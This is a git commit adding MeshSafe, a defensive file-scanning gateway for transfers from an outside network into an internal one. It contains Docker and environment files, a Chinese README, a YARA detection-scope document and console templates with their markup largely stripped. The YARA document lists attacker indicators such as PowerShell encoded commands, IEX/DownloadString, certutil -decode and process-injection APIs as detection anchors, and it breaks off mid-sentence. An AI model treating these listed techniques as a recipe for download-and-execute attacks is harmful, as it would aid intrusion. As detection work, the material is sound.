commit 16f134e3284ec85e2b592cb2f8e918cf3fc0d65d Author: zhaolei <12153398@qq.com> Date: Wed Oct 28 19:07:11 2026 +0800 feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交 核心功能: - 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制 - FastAPI + PostgreSQL + Redis + Docker Compose 架构 - 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性 - 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页) - 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min) 并发与稳定性修复: - 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行) - JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写 - 移除 SQLite fallback, 统一 PostgreSQL - API_CLIENTS 脱敏为环境变量, .env 已 .gitignore diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..1c86a15 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,21 @@ +__pycache__/ +*.pyc +*.pyo +.env +.git/ +.gitignore +.idea/ +.vscode/ +*.md +logs/ +*.log +/tmp/ +*.tmp + +# 测试脚本和冒烟代码(不打镜像) +tests/*.py +tests/*_test*.py +tests/run_*.py +tests/smoke.py +scripts/verify_*.py +scripts/debug_*.py diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..9929dca --- /dev/null +++ b/.env.example @@ -0,0 +1,50 @@ +# ============================================================================= +# MeshSafe 生产部署环境变量(示例模板) +# 复制为 .env 后填入真实值(master_key + db_password + admin_password 必须改) +# ============================================================================= +# +# docker-compose.yml 会自动加载同级 .env 文件。 +# Settings 类(app/config.py)通过 pydantic_settings 读取,前缀 MESHSAFE_。 +# +# 字段分三类: +# ── 必填(缺失启动报错)──────────── +# MESHSAFE_MASTER_KEY 主密钥(base64 ≥ 32 字节)—— 密码哈希/HMAC 签名/HKDF 派生都用它 +# MESHSAFE_DB_PASSWORD PostgreSQL 密码 —— 与 compose postgres.POSTGRES_PASSWORD 保持一致 +# MESHSAFE_ADMIN_PASSWORD 默认管理员初始密码 —— scripts/init_db.py 首次建 admin 时使用 +# +# ── docker-compose.yml 内置(API 服务会注入)── +# MESHSAFE_DB_URL =postgresql+psycopg://meshsafe:@postgres:5432/meshsafe +# MESHSAFE_CLAMAV_HOST =clamav +# MESHSAFE_CLAMAV_PORT =3310 +# MESHSAFE_REDIS_URL =redis://redis:6379/0 +# +# ── 可选(有合理默认值)────────── +# MESHSAFE_ENV prod | dev +# MESHSAFE_HOST 0.0.0.0 +# MESHSAFE_PORT 8443 +# MESHSAFE_LOG_LEVEL DEBUG | INFO | WARNING | ERROR +# MESHSAFE_LOG_DIR /var/log/meshsafe +# MESHSAFE_WORKERS 2(异步扫描后台 worker 数) +# MESHSAFE_RULES_DIR /app/rules(YARA 规则目录) +# MESHSAFE_POLICY_FILE /app/config/policy.yaml +# +# ---------- master_key 生成 ---------- +# python -c "import base64, os; print(base64.b64encode(os.urandom(32)).decode())" +# ============================================================================= + +# ---------- 必填 ---------- + +MESHSAFE_MASTER_KEY=CHANGE_ME_GENERATE_WITH_COMMAND_ABOVE +MESHSAFE_DB_PASSWORD=CHANGE_ME_DB_PASSWORD +MESHSAFE_ADMIN_PASSWORD=CHANGE_ME_ADMIN_PASSWORD + +# ---------- 可选 ---------- + +MESHSAFE_ENV=prod +MESHSAFE_LOG_LEVEL=INFO +MESHSAFE_LOG_DIR=/var/log/meshsafe +MESHSAFE_WORKERS=2 +MESHSAFE_RULES_DIR=/app/rules +MESHSAFE_POLICY_FILE=/app/config/policy.yaml +MESHSAFE_HOST=0.0.0.0 +MESHSAFE_PORT=8443 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..67af401 --- /dev/null +++ b/.gitignore @@ -0,0 +1,56 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +*.egg-info/ +*.egg +dist/ +build/ +.eggs/ +*.whl + +# 环境与密钥 +.env +.env.local +.env.*.local + +# 日志 +/var/log/meshsafe/ +*.log + +# 临时文件 +/tmp/meshsafe/ +*.tmp +*.temp + +# IDE +.idea/ +.vscode/ +*.swp +*.swo +.project + +# 系统 +.DS_Store +Thumbs.db + +# 数据库 +*.db + +# 运行数据(Postgres/Redis 数据、ClamAV 签名库、日志、诊断历史) +/data/ + +# 压测产物 +benchmark_report*.json +out.json + +# 截图 +/.screenshots/ + +# 测试 +.coverage +htmlcov/ +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..b1df3d5 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,53 @@ +# ---- 构建阶段 ---- +FROM python:3.12-slim AS builder + +WORKDIR /app + +# 系统依赖:python-magic、ClamAV 客户端、编译工具 +RUN apt-get update && apt-get install -y --no-install-recommends \ + libmagic1 libmagic-dev \ + clamav clamav-daemon \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +# ---- 运行阶段 ---- +FROM python:3.12-slim + +WORKDIR /app + +# 系统运行时依赖 +RUN apt-get update && apt-get install -y --no-install-recommends \ + libmagic1 clamav clamav-daemon ca-certificates \ + && rm -rf /var/lib/apt/lists/* \ + && groupadd -r meshsafe && useradd -r -g meshsafe -d /app meshsafe + +COPY --from=builder /usr/local/lib/python3.12/site-packages /usr/local/lib/python3.12/site-packages +COPY --from=builder /usr/local/bin /usr/local/bin + +# 应用代码 +COPY app/ ./app/ +COPY config/policy.yaml ./config/policy.yaml +COPY config/diagnostics.yaml ./config/diagnostics.yaml +COPY scripts/ ./scripts/ +COPY static/ ./static/ +COPY tests/ ./tests/ + +# 日志目录、临时目录 +RUN mkdir -p /var/log/meshsafe /tmp/meshsafe /app/rules \ + && chown -R meshsafe:meshsafe /app /var/log/meshsafe /tmp/meshsafe + +ENV PYTHONUNBUFFERED=1 \ + PYTHONDONTWRITEBYTECODE=1 \ + MESHSAFE_LOG_DIR=/var/log/meshsafe \ + MESHSAFE_TEMP_ROOT=/tmp/meshsafe + +USER meshsafe + +EXPOSE 8443 + +HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ + CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8443/api/v1/health', timeout=3).read()" || exit 1 + +CMD ["sh", "-c", "uvicorn app.main:app --host 0.0.0.0 --port 8443 --workers ${UVICORN_WORKERS:-1}"] diff --git a/README.md b/README.md new file mode 100644 index 0000000..adc7b9c --- /dev/null +++ b/README.md @@ -0,0 +1,198 @@ +# MeshSafe · 文件安全检测服务 + +> **光闸摆渡场景下的独立文件安全守门员。** 外网文件进来之前,先过 MeshSafe。 + +--- + +## 一句话介绍 + +MeshSafe 是一套独立部署的文件安全检测服务,专为光闸内外网摆渡场景设计。它不修改、不清洗文件,只做一件事:**判断"这个文件能不能传进内网"**,把检测结论交还给摆渡系统决定。 + +一期只做 **外网 → 内网** 方向——保护内网不被外网文件伤到。 + +--- + +## 它能做什么 + +### 三层风险把关 + +| 维度 | 回答的问题 | 举个例子 | +|---|---|---| +| **恶意性检测** | 这个文件本身是不是病毒、木马、勒索? | 已知病毒签名、家族特征 | +| **可执行性拦截** | 这个文件打开会不会自动跑代码? | 带宏的 Word、带脚本的 PDF、快捷方式 | +| **合规性校验** | 这个文件在传输层面有没有问题? | 路径穿越、压缩炸弹、伪装扩展名 | + +### 两种判定结果 + +- **机器执行**:告诉摆渡系统"放行 / 拒绝 / 转人工复核" +- **人工提示**:告诉最终打开文件的内网用户"打开时要注意什么"(比如"此文件包含宏,请勿启用") + +两条结论独立返回——系统的事归系统,人的事归人。 + +--- + +## 它能拦住什么 + +以下是 MeshSafe 一期覆盖的全部核心风险场景: + +### 文档类最常见风险 + +| 文件类型 | 风险场景 | MeshSafe 的处置 | +|---|---|---| +| Word / Excel / PPT (.docm / .xlsm / .pptm) | 打开即执行的宏,自动下载病毒、调用系统命令、关闭安全软件 | **零容忍直接拦截**,不走过场 | +| Word / Excel / PPT | 宏代码被故意混淆或加密,意图不可知 | **零容忍直接拦截** | +| Word / Excel (RTF) | DDE / DDEAUTO 字段——打开即启动程序 | **零容忍直接拦截** | +| PDF | 打开即执行的 JavaScript 脚本 | **零容忍直接拦截** | +| PDF | LaunchAction——打开即启动外部程序 | **零容忍直接拦截** | +| 所有 Office 文档 | 包含外部模板注入——借模板执行恶意代码 | **零容忍直接拦截** | +| 所有 Office 文档 | 嵌入了可执行文件的 OLE 对象 | **零容忍直接拦截** | + +### 快捷方式与容器类风险 + +| 文件类型 | 风险场景 | MeshSafe 的处置 | +|---|---|---| +| 快捷方式 (.lnk) | 指向程序执行 / 远程路径 / 脚本 | **零容忍直接拦截** | +| 帮助文件 (.chm) | 包含可执行脚本 | **零容忍直接拦截** | +| 光盘镜像 (.iso) | 内部包含可执行文件——双击挂载后直接运行 | **零容忍直接拦截**,挂载后递归扫描内部 | +| 压缩包 (.zip / .rar / .7z 等) | 解压路径穿越——试图写出解压目录,覆盖系统文件 | **零容忍直接拦截** | +| 压缩包 | 压缩炸弹——几 KB 解压出几百 MB 甚至上 GB,耗尽服务器资源 | 拦截并报警 | +| 压缩包 | 解压深度超过 5 层,内部包含可执行文件 | 自动进入下一轮检测 | + +### 伪装与迷惑类风险 + +| 风险场景 | MeshSafe 的处置 | +|---|---| +| 双扩展名伪装:`invoice.pdf.exe` 实际是程序 | 识破真实类型,拦截 | +| 图标伪装:可执行文件用 PDF 图标诱导用户双击 | 识破真实类型,拦截 | +| 声明扩展名与真实类型不一致 | 拦截并标记 | +| 文件名用 Unicode 欺骗(西里尔字母替换拉丁字母) | 识破并标记 | + +### 链接与二维码分级处置 + +| 情形 | MeshSafe 的处置 | +|---|---| +| 文档/图片中的链接命中恶意地址库 | **零容忍直接拦截** | +| 链接指向非常规端口 / IP 直连 / 短链服务 | 标记为可疑,转人工复核 | +| 二维码解码后内容为上述情形 | 同上 | +| 普通 http / https 链接 | 放行但提示"请确认来源" | + +### 加密文件处理 + +| 情形 | MeshSafe 的处置 | +|---|---| +| 加密的 Office 文档 | 默认拒绝——无法确认内部安全 | +| 加密的压缩包 | 默认拒绝——无法确认内部安全 | + +### Linux 桌面环境特有威胁(一期重点覆盖) + +内网终端是麒麟桌面/UOS(纯 Linux),因此 Linux 特有威胁载体必须覆盖: + +| 威胁场景 | 风险说明 | MeshSafe 的处置 | +|---|---|---| +| Linux 原生可执行文件(ELF) | 传统杀毒不认识,可直接在终端运行 | **零容忍直接拦截** | +| Linux 快捷方式(.desktop 文件) | 看起来是桌面图标,实际 `Exec=` 字段可指向任意命令 | **零容忍直接拦截**,校验 Exec 字段是否含 shell 调用、下载器 | +| Shell / Python / Perl / Ruby 脚本 | 双击可执行,含恶意系统调用(下载、反弹 Shell) | **零容忍直接拦截**,识别危险函数 | +| AppImage / Flatpak / Snap 便携包 | 跨发行版可执行格式,双击即运行 | **零容忍直接拦截**,内部递归扫描 | +| 压缩包内混有 shell 脚本 / .run / .bin | 解压后用户容易误执行 | 自动进入下一轮检测 | + +> **纵深防御**:虽然内网是 Linux,Windows 专属载体(快捷方式 .lnk、帮助文件 .chm)仍保持检测——文件可能通过其他路径流向运维人员的 Windows 工作站。 + +--- + +## 方案亮点(为什么 MeshSafe 和传统杀毒不一样) + +### 亮点一:「打开即执行」载体零容忍——独立于评分体系 + +传统杀毒的逻辑是:**是不是已知恶意样本?** 匹配不到签名就放行。 + +但在光闸场景里,真正的高频风险不是"已知病毒",而是**"打开就自动运行"的载体**——宏文档、DDE 字段、LNK 快捷方式。这类东西杀毒扫出来说"干净",但用户双击后宏即刻执行。 + +MeshSafe 的逻辑反过来:**只要存在打开即执行的载体,就零容忍拦截**。这是一条独立于评分体系的硬性清单——不累计权重、不走过场,命中即拒。 + +### 亮点二:宏行为分级——不是"有没有宏",而是"宏做了什么" + +内网人员需要打开带宏的公文模板(自动编号、签章定位等),不能简单地把"含宏"等同于"拒绝"。 + +MeshSafe 会**分析宏的实际行为**: + +| 宏的行为 | MeshSafe 判定 | +|---|---| +| 自动执行 + 调用系统命令 / 外联网络 | **零容忍拒绝** | +| 宏代码被混淆 / 加密(意图不可知) | **零容忍拒绝** | +| 自动执行 + 仅本地无害操作(编号、排版) | **放行或标记** | +| 无自动执行,仅手动触发 | 标记放行 / 转复核 | + +### 亮点三:合法公文模板例外——五道保险受控放行 + +对于业务上确实需要打开的合法宏模板,MeshSafe 提供**受控的例外机制**,但有五道保险: + +| 保险 | 怎么防绕过 | +|---|---| +| **指纹绑定** | 例外按文件内容精确匹配,换一个字节就失效 | +| **文件名匹配** | 指纹 + 文件名双重校验,防止不同文件复用 | +| **必须到期** | 所有例外必须有到期时间,最长不超过一年 | +| **审批留痕** | 谁批的、为什么批、批了什么,全部留痕可追溯 | +| **行为前提** | 就算在例外清单里,如果宏检测到危险行为(调用 Shell、下载文件),照样触发零容忍 | + +### 亮点四:打开风险独立提示 + +检测结论分两层: +- **系统判定层**:摆渡系统看这个——放行 / 拒绝 / 转复核 +- **人工提示层**:内网用户看这个——"此文件包含宏,请勿启用"、"请勿直接双击此 ISO 文件" + +两层独立演进。即使摆渡系统选择忽略人工提示字段,内网侧安全审计面板也能单独展示。 + +### 亮点五:防篡改审计 + +所有检测记录、策略变更、例外增删都进入**链式审计日志**——每条记录的哈希值包含前一条记录的哈希。任何一条被篡改,后续链全部断裂可检出。 + +--- + +## 完整的检测能力清单(一期) + +| 能力 | 覆盖范围 | +|---|---| +| 真实文件类型识别(不信任扩展名) | 全部文件 | +| 递归安全解包(最多 5 层) | 常见压缩格式 | +| 已知恶意样本特征匹配 | 全部文件 | +| 宏代码提取与行为分析 | Word / Excel / PPT 全系列 | +| DDE / DDEAUTO 自动执行检测 | 复合文档 | +| PDF 脚本与动作检测 | PDF | +| 文档内嵌文件检测 | 复合文档 | +| 文档深度解析 | 外部链接、模板注入、隐藏变量 | +| 快捷方式深度解析 | 目标路径、参数、远程链接 | +| 帮助文件类型校验 | 结构完整性检测 | +| 光盘镜像挂载后递归扫描 | 内部可执行文件检测 | +| 未知恶意样本家族匹配 | 可执行程序 / 脚本 / 内存马 | +| 可执行程序结构分析 | 异常特征、签名目录、导入表 | +| 外部链接与二维码提取 | 文档和图片 | +| 恶意链接库查询 | 分级处置 | +| 零容忍规则集(15 条) | 打开即执行载体全覆盖 | +| 宏行为例外机制 | 合法公文模板受控放行 | +| 引擎故障安全降级 | 任何检测引擎不可用时整体拒绝(安全优先) | +| 同步 + 异步双模式 | 小文件同步返回,大文件异步轮询 | +| 策略热重载 | 改配置不用重启 | +| 控制台权限分级 | 管理员 / 运维 / 只读三档 | +| 防篡改审计日志 | 链式哈希校验,任何一条被改后续全部断裂可检出 | +| 签名库版本追踪 | 检测有效性可举证 | + +--- + +## 未来可支持的扩展方向 + +以下方向**架构已预留,但一期不实现**: + +| 方向 | 价值 | 启动前提 | +|---|---|---| +| **内网 → 外网内容审计** | 判断内部内容是否允许外传(涉密 / 隐私 / 违规) | 需先明确业务密级规则和具体场景,与一期的"技术判据"属不同问题域 | +| **动态沙箱深检** | 在隔离环境中实际运行可疑文件,观察行为(释放文件、外联 C2 等) | 需要 Windows 虚拟化环境 + 国产化终端适配验证;场景收益有限(一期以文档为主) | +| **大模型语义分析** | 辅助识别诱导话术、仿冒公文模板、上下文关联钓鱼 | 需要内网推理算力;大模型输出仅作为辅助信号,不单独裁决 | +| **更多零容忍规则** | 随新威胁形态出现,可向规则清单中增量添加 | 规则必须满足"命中即有害 + 可稳定判定"的准入条件 | +| **内网特征词表引擎** | 识别内网特有的模板、关键词、命名规律,辅助例外判断和伪装识别 | 一期已有初步框架,可独立推进 | + +> 所有扩展方向的接口和数据结构在一期架构中**已预留扩展位**,未来接入无需重构。 + +--- + +*文档版本:v1.0(方案稿)* +*更多技术细节请参阅 [总体方案](docs/00-总体方案.md) 和 [接口文档](docs/接口文档.md)* diff --git a/YARA检测范围_L2B.md b/YARA检测范围_L2B.md new file mode 100644 index 0000000..c89c6d0 --- /dev/null +++ b/YARA检测范围_L2B.md @@ -0,0 +1,102 @@ +# YARA 检测范围说明(L2B 层) + +> 本文档只界定 L2B 层 YARA 引擎的检测范围:要覆盖哪些威胁、靠什么特征锚定、哪里容易误报。不含其它防御层与实现代码,可直接作为规则设计依据与验收清单。 + +--- + +## 一、YARA 定位与边界 + +YARA 是基于字节 / 字符串 / 结构特征的模式匹配,强项是已知家族的变体、可疑特征组合、静态可提取的载荷。 + +- **擅长**:已知家族变体、可疑 API / 字符串组合、文档与脚本类静态载荷。 +- **不擅长**:纯多态加壳、纯运行时行为、加密封装(这些交给 L1 杀毒库与 L3 沙箱)。 +- **设计目标**:补齐 ClamAV 特征库更新慢的盲区,并覆盖文档 / 脚本这类杀毒库不敏感的载体。 + +核心原则:单一 API 或字符串命中不阻断,要求"特征组合"才判高危,否则误报率失控。 + +--- + +## 二、检测范围总览(9 大类) + +| 编号 | 覆盖大类 | 检查对象 | YARA 主力程度 | +|---|---|---|---| +| C1 | Windows PE 恶意程序 | .exe / .dll / .sys、DLL 劫持 | 是 | +| C2 | 脚本木马 | .ps1 / .vbs / .js / .bat / .hta / .lnk | 是 | +| C3 | Webshell / 内存马 | .jsp/.jspx/.php/.asp/.aspx、反序列化 payload | 是 | +| C4 | Office 文档载荷 | .doc/.xls/.ppt(宏 / DDE) | 是 | +| C5 | PDF 载荷 | .pdf | 是 | +| C6 | 压缩包 / 嵌套展开 | .zip/.rar/.7z/.cab/.iso | 辅助 | +| C7 | Linux / 跨平台后门 | ELF / Shell / Python / 计划任务 | 是 | +| C8 | 勒索 / 挖矿专项 | 通用载体 | 是 | +| C9 | 壳 / 签名 / 结构异常 | PE 结构元数据 | 是 | + +--- + +## 三、逐类详细范围 + +### C1 Windows PE 恶意程序 +- **防**:下载器、远控(RAT)、注入器、Loader、服务后门。 +- **锚点方向**:危险导入 API 组合(`URLDownloadToFile` / `InternetOpen` / `WinHttp*` + `CreateRemoteThread` / `WriteProcessMemory` / `VirtualAllocEx` + `RegSetValueEx` / `schtasks` / 服务 API);可疑字符串(C2 URL/IP、互斥体 Mutex 名、隐藏进程标志 `CREATE_NO_WINDOW`)。 +- **关键原则**:必须"网络 + 注入 / 持久化"特征组合命中才报高危。 +- **范围须含**:DLL 侧加载、白利用二进制(LOLBins)调用特征。 + +### C2 脚本木马 +- **防**:无文件落地、PowerShell 下载执行、混淆脚本。 +- **锚点方向**:`-enc` / `-e`(Base64 编码命令)、`FromBase64String`、`IEX` / `Invoke-Expression`、`DownloadString`、`New-Object Net.WebClient`、`-w hidden` / `-nop`;`mshta` / `rundll32` / `regsvr32` / `certutil -decode` 等 LOLBin 组合;VBS 的 `CreateObject("Wscript.Shell")` + `Run`;HTA 里的 ` + + diff --git a/app/templates/diagnostics.html b/app/templates/diagnostics.html new file mode 100644 index 0000000..fab0cb0 --- /dev/null +++ b/app/templates/diagnostics.html @@ -0,0 +1,415 @@ + + + + + +MeshSafe · 诊断面板 + + + +{% include "_nav.html" %} + +
+ + +
+

🔧 系统诊断

+
+ 🕐 刷新时间: {{ refresh_time }} +  ·  {{ docker_status_msg }} + {% if started_at %} ·  诊断启用: {{ started_at[:19].replace('T', ' ') }}{% endif %} +
+
+ + + {% if not diag_enabled %} +
+

⛔ 诊断套件未启用

+

diagnostics.yaml: diagnostics.enabled = false
+ 启用后将开启后台定时检测(三个定时器,CPU 占用可忽略)。
+ 当前仅保留手动导出功能,自动规则引擎已停止。

+

📦 手动导出诊断包

+
+ {% else %} + + +
+
+
规则总数
+
{{ rule_count }}
+
+
+
严重
+
{{ crit_count }}
+
+
+
警告
+
{{ warn_count }}
+
+
+
通过
+
{{ ok_count }}
+
+
+ + +
+

⚠️ 规则检测

+ {% if all_rules %} + {% for r in all_rules %} +
+ {{ r.id }} +
+
+ {{ { + 'high': '严重', 'medium': '警告', 'low': '提示', + 'info': '信息', 'ok': '通过' + }.get(r.severity, '未知') }} +  {{ r.message }} +
+ {% if r.hint %}
💡 {{ r.hint }}
{% endif %} + {% if r.evidence %} +
{% for e in r.evidence %}{{ e }}{% if not loop.last %}\n{% endif %}{% endfor %}
+ {% endif %} + {% if r.skipped and r.skip_reason %} +
⏭️ 跳过原因: {{ r.skip_reason }}
+ {% endif %} +
+ + {% if r.run_at %}{{ r.run_at }}{% endif %} + {% if r.run_by %}
{{ r.run_by }}{% endif %} +
+
+ {% endfor %} + {% else %} +
暂无规则结果(定时器还没跑起来?)
+ {% endif %} +
+ + +
+

🧪 引擎状态 + +

+
+ {% if engine_health %} + + + + {% for name, info in engine_health.items() %} + + + + + + {% endfor %} + +
引擎状态版本 / 详情
{{ name }} + {% if info.get('ok') or info.get('available') %} + 在线 + {% else %} + 离线 + {% endif %} + + {% if info.get('version') %}版本: {{ info.version }}{% endif %} + {% if info.get('signature_date') %}· 病毒库: {{ info.signature_date }}{% endif %} + {% if info.get('rules_loaded') is not none %}· 规则: {{ info.rules_loaded }}{% endif %} +
+ {% else %} +
引擎健康信息不可用
+ {% endif %} +
+
+ + + {% if docker_status == 'full' %} +
+

🐳 容器运行状态

+ {% if docker_containers %} + + + + {% for c in docker_containers %} + {% if 'meshsafe' in c.name %} + + + + + + + + + {% endif %} + {% endfor %} + +
容器状态健康Docker重启历史重启运行时长
{{ c.name }} + {% if c.oom_killed %}OOM {% endif %} + {{ c.status }} + + {% if c.health %} + {% if c.health == 'healthy' %}✓ healthy + {% elif c.health == 'unhealthy' %}✗ unhealthy + {% elif c.health == 'starting' %}… starting + {% else %}{{ c.health }}{% endif %} + {% else %}—{% endif %} + + {% if c.restart_count and c.restart_count > 3 %} + {{ c.restart_count }} + {% else %} + {{ c.restart_count if c.restart_count is not none else '-' }} + {% endif %} + + {% if c.historical_restart_count and c.historical_restart_count > 0 %} + {{ c.historical_restart_count }} + {% else %} + 0 + {% endif %} + {{ c.uptime or '—' }}
+
+ 说明:Docker重启 = RestartCount(仅自动崩溃被拉起计数); + 历史重启 = R015 检测到的 StartedAt/restart_count 变化(含手动 docker restart) +
+ {% else %} +
未发现 meshsafe 容器
+ {% endif %} +
+ {% elif docker_status == 'partial' %} +
+

🐳 容器运行状态 Docker 访问受限

+
部分容器信息不可用 — {{ docker_info.get('message', '') }}
+
+ {% elif docker_status == 'none' %} +
+

🐳 容器运行状态 未启用

+
+ Docker 日志检测未启用 — 如需启用,在 docker-compose.yml 的 api 服务中加
+ volumes: /var/run/docker.sock:/var/run/docker.sock:ro
+ 并确保 group_add: ["999"] +
+
+ {% endif %} + + + + + {% endif %} + +
+ + + + + diff --git a/app/templates/login.html b/app/templates/login.html new file mode 100644 index 0000000..651bb72 --- /dev/null +++ b/app/templates/login.html @@ -0,0 +1,278 @@ + + + + + +MeshSafe · 文件摆渡安全卫士 + + + + + +
+
+ + +
+ 多层检测,双向管控,文件摆渡更安心 +
+
Multi-layer inspection · Bidirectional control · Safer file exchange
+ +
+
6 层引擎交叉检测
+
故障默认拦截
+
零容忍规则优先响应
+
全链路审计追溯
+
+ +
+
DETECTION ENGINES
+
+
文件结构分析
+
ClamAV 病毒库
+
文档深度检测
+
关键词匹配
+
YARA 规则匹配
+
PE/二进制分析
+
+
+
+
+ + +
+ +
+ + + diff --git a/app/templates/policy.html b/app/templates/policy.html new file mode 100644 index 0000000..7cef473 --- /dev/null +++ b/app/templates/policy.html @@ -0,0 +1,223 @@ + + + + + +策略配置 - MeshSafe 控制台 + + + +{% set nav_active = 'policy' %}{% include "_nav.html" %} +
+ +
+
YAML 模式(直接编辑)
+
规则清单(只读预览)
+
YARA 规则库({{ yara_loaded_count }} 条已加载)
+
版本历史
+
+ + +
+
+ +
+

策略内容(数据库为准,YAML 作为导出备份)

+ +
+ + + 当前版本:{{ policy.version }} · SHA256:{{ policy.sha256[:12] }}... +
+
+
+
+ + +
+
+

零容忍规则集({{ policy.zero_tolerance_rules|length }} 条 · 命中即拒绝)

+
+ {% if zt_rules_cn %} + {% for r in zt_rules_cn %} + {{ r.cn_name }} + {% endfor %} + {% else %} + {% for r in policy.zero_tolerance_rules %} + {{ r }} + {% endfor %} + {% endif %} +
+
+
+

策略全局参数

+ + + + + + + + + +
参数名说明当前值
block_score单引擎累计得分 ≥ 此阈值 → 判定为 malicious 直接拒绝{{ policy.block_score }}
review_score累计得分落在这个区间 → 判定为 suspicious 转人工复核{{ policy.review_score[0] }} ~ {{ policy.review_score[1] }}
engine_failure_mode检测引擎异常时的处理策略(fail_closed=拒绝 fail_open=放行){{ policy.engine_failure_mode }}
max_file_size允许上传的单文件最大体积(超过直接拒绝){% set kb = policy.max_file_size / 1024 %}{% set mb = kb / 1024 %}{% if mb >= 1 %}{{ "%.1f"|format(mb) }} MB{% else %}{{ "%.0f"|format(kb) }} KB{% endif %}({{ policy.max_file_size }} 字节)
allow_encrypted_archive是否允许带密码的加密 ZIP/RAR/7z 压缩包通过{% if policy.allow_encrypted_archive %}允许{% else %}禁止{% endif %}
allow_encrypted_document是否允许带密码的加密 Office 文档(.docx/.xlsx/.pptx)通过{% if policy.allow_encrypted_document %}允许{% else %}禁止{% endif %}
白名单扩展名允许上传的文件扩展名(不在此列表的直接拒绝) + {% for e in policy.allowed_extensions %} + {{ e }} + {% endfor %} +
+
+ {% if policy.keyword_rules %} +
+

词表规则({{ policy.keyword_rules|length }} 条)

+ {% for kw in policy.keyword_rules %} +
{{ kw.name }}
+ {% endfor %} +
+ {% endif %} +
+ + +
+
+

YARA 规则库({{ yara_files_count }} 个文件 · {{ yara_loaded_count }} 条已编译)

+ {% if yara_rules %} + + + + + + + + + + + + + + {% for r in yara_rules %} + + + + + + + + + + {% endfor %} + +
规则名分类风险等级误报率权重触发次数参考
{{ r.name }} + {{ r.category_cn }} + + {% if r.risk_level_cn %}{{ r.risk_level_cn }} + {% else %}{{ r.risk_level }}{% endif %} + {{ r.false_positive_rate }}{{ r.weight }} + {% if r.trigger_count > 0 %}{{ r.trigger_count }} + {% else %}0{% endif %} + {{ r.reference[:50] }}{% if r.reference|length > 50 %}...{% endif %}
+ {% else %} +
+ {% if yara_rules_dir %} + YARA 规则库目录:{{ yara_rules_dir }}
+ 目录内 {{ yara_files_count }} 个 .yar 文件 + {% if yara_files_count == 0 %}—— 请检查规则文件是否存在{% endif %} + {% else %} + YARA 规则库未加载(可能 yara-python 未安装或规则目录不存在) + {% endif %} +
+ {% endif %} +
+
+

权重分档说明(来自 policy.yaml → yara_rule_weights)

+
+ critical → weight=85 + high → weight=65 + medium → weight=45 + low → weight=25 + 未配置的规则默认 weight=50 +
+
+
+ + +
+
+

策略版本历史({{ versions|length }} 条)

+ + + + {% for v in versions %} + + + + + + + {% else %} + + {% endfor %} + +
版本SHA256创建时间操作
{{ v.version }}{{ v.sha256 }}{{ v.created_at|bj_time if v.created_at else '' }} + {% if user.role == 'admin' %} +
+ +
+ {% endif %} +
暂无版本记录(首次部署执行 scripts.init_db)
+
+
+ +
+ + + diff --git a/app/templates/tasks.html b/app/templates/tasks.html new file mode 100644 index 0000000..ed3787f --- /dev/null +++ b/app/templates/tasks.html @@ -0,0 +1,232 @@ + + + + + +任务历史 - MeshSafe 控制台 + + + +{% set nav_active = 'tasks' %} +{% include "_nav.html" %} +
+ +
+
+

任务历史

+
全部扫描任务记录 · 每页 {{ page_size }} 条
+
+
+ 共 {{ total }} 条记录 · 第 {{ page }} / {{ total_pages }} 页 +
+
+ +
+{% if tasks %} + + + + + + + + + + + + + + + + + + + {% for t in tasks %} + + + + + + + + + + + + + + + {% endfor %} + +
时间任务 ID文件名来源渠道类型大小模式检测结论处置动作风险分耗时
{{ t.created_at|bj_time("%m-%d %H:%M:%S") if t.created_at else '' }}{{ t.id[0:10] }}...{{ t.filename }}{{ t.channel|cn_channel }}{{ t.real_type[:16] if t.real_type else t.declared_ext }} + {% if t.size > 1048576 %}{{ (t.size / 1048576)|round(1) }} MB + {% elif t.size > 1024 %}{{ (t.size / 1024)|round(1) }} KB + {% else %}{{ t.size }} B{% endif %} + {{ t.mode|cn_mode }} +
+ {{ t.verdict|cn_verdict }} +
+
{{ t.action|cn_action }}{{ "%.0f"|format(t.score) }}{{ t.duration_ms }} ms +
+ 详情 ({{ t.findings|length }}) +
+ {% if t.findings %} + + + + + + {% for f in t.findings %} + + + + + + + + {% endfor %} + +
检测引擎严重度命中规则权重细节
{{ f.engine|cn_engine }}{{ f.severity|cn_severity }}{{ f.rule }}{{ f.weight }}{{ f.detail }}
+ {% else %} +
未检出任何风险信号
+ {% endif %} + {% if t.sha256 %} +
+ SHA256:{{ t.sha256 }} + {% if t.md5 %}
MD5:{{ t.md5 }}{% endif %} +
策略版本:{{ t.policy_version }} + {% if t.reason %}
裁决依据:{{ t.reason }}{% endif %} +
+ {% endif %} +
+
+
+ + +
+ {% for r in RISK_MATRIX %} +
+ {{ r.label }} + {{ r.desc }} +
+ {% endfor %} +
+ + +
+
+ 显示第 {{ (page - 1) * page_size + 1 }} - {{ [page * page_size, total]|min }} 条,共 {{ total }} 条 +
+
+ {% if has_prev %} + 上一页 + {% else %} + 上一页 + {% endif %} + + {% if page_nums and page_nums[0] > 1 %} + 1 + {% if page_nums[0] > 2 %}···{% endif %} + {% endif %} + + {% for p in page_nums %} + {% if p == page %} + {{ p }} + {% else %} + {{ p }} + {% endif %} + {% endfor %} + + {% if page_nums and page_nums[-1] < total_pages %} + {% if page_nums[-1] < total_pages - 1 %}···{% endif %} + {{ total_pages }} + {% endif %} + + {% if has_next %} + 下一页 + {% else %} + 下一页 + {% endif %} +
+
+{% else %} +
+
📭
